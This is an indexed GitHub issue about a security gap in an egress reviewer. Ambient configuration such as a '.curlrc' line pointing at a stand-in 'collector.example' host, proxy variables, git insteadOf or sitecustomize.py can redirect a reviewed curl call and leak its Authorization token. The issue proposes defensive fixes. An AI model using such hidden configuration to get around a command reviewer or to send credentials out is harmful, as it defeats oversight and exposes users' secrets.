Ambient client config (.curlrc, proxies) can redirect a reviewed egress command

Open
#73 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
5/5
Estimated time
Over a week
Newbie friendliness
35/100
Issue type
Feature
Clarity
Mostly clear
Activity status
Active
Tech stack
bash, git, python, typescript
Domain
cli, security

Research direction

Start with the intent plan in issue #70 and trace the host input replacement, reviewer state, and cache-key handling. Decide whether ambient configuration should be ignored or measured, then verify that reviewed egress cannot be redirected by the listed client configuration and that the chosen state is reflected in review and caching.

Written by the indexing model from the issue text.

Description

The intent plan (#70) sends all network egress to the reviewer, but neither stage can see ambient client config. A url = https://collector.example/ line in ~/.curlrc adds a second transfer, and -H headers apply to every URL, so a reviewed, user-requested curl -H "Authorization: ..." https://api.provider.com/... also sends the token elsewhere. Same class: proxy/insecure in .curlrc, HTTPS_PROXY, git insteadOf/http.proxy, .npmrc registry, pip.conf, sitecustomize.py.

Options:

  • Rewrite allowed egress to ignore ambient config (curl -q, env -u HTTPS_PROXY -u HTTP_PROXY -u ALL_PROXY, python3 -I) via the host input replacement.
  • Or measure the relevant config files and include them in the reviewer state and cache key.

Today this is a stated residual in the plan.

Dominant language
TypeScript
Stars
0
Forks
1
Avg merge
1h 20m
Merged PRs (30d)
32

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from STRML/omp-classifier

All issues in STRML/omp-classifier

Similar issues

More TypeScript issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.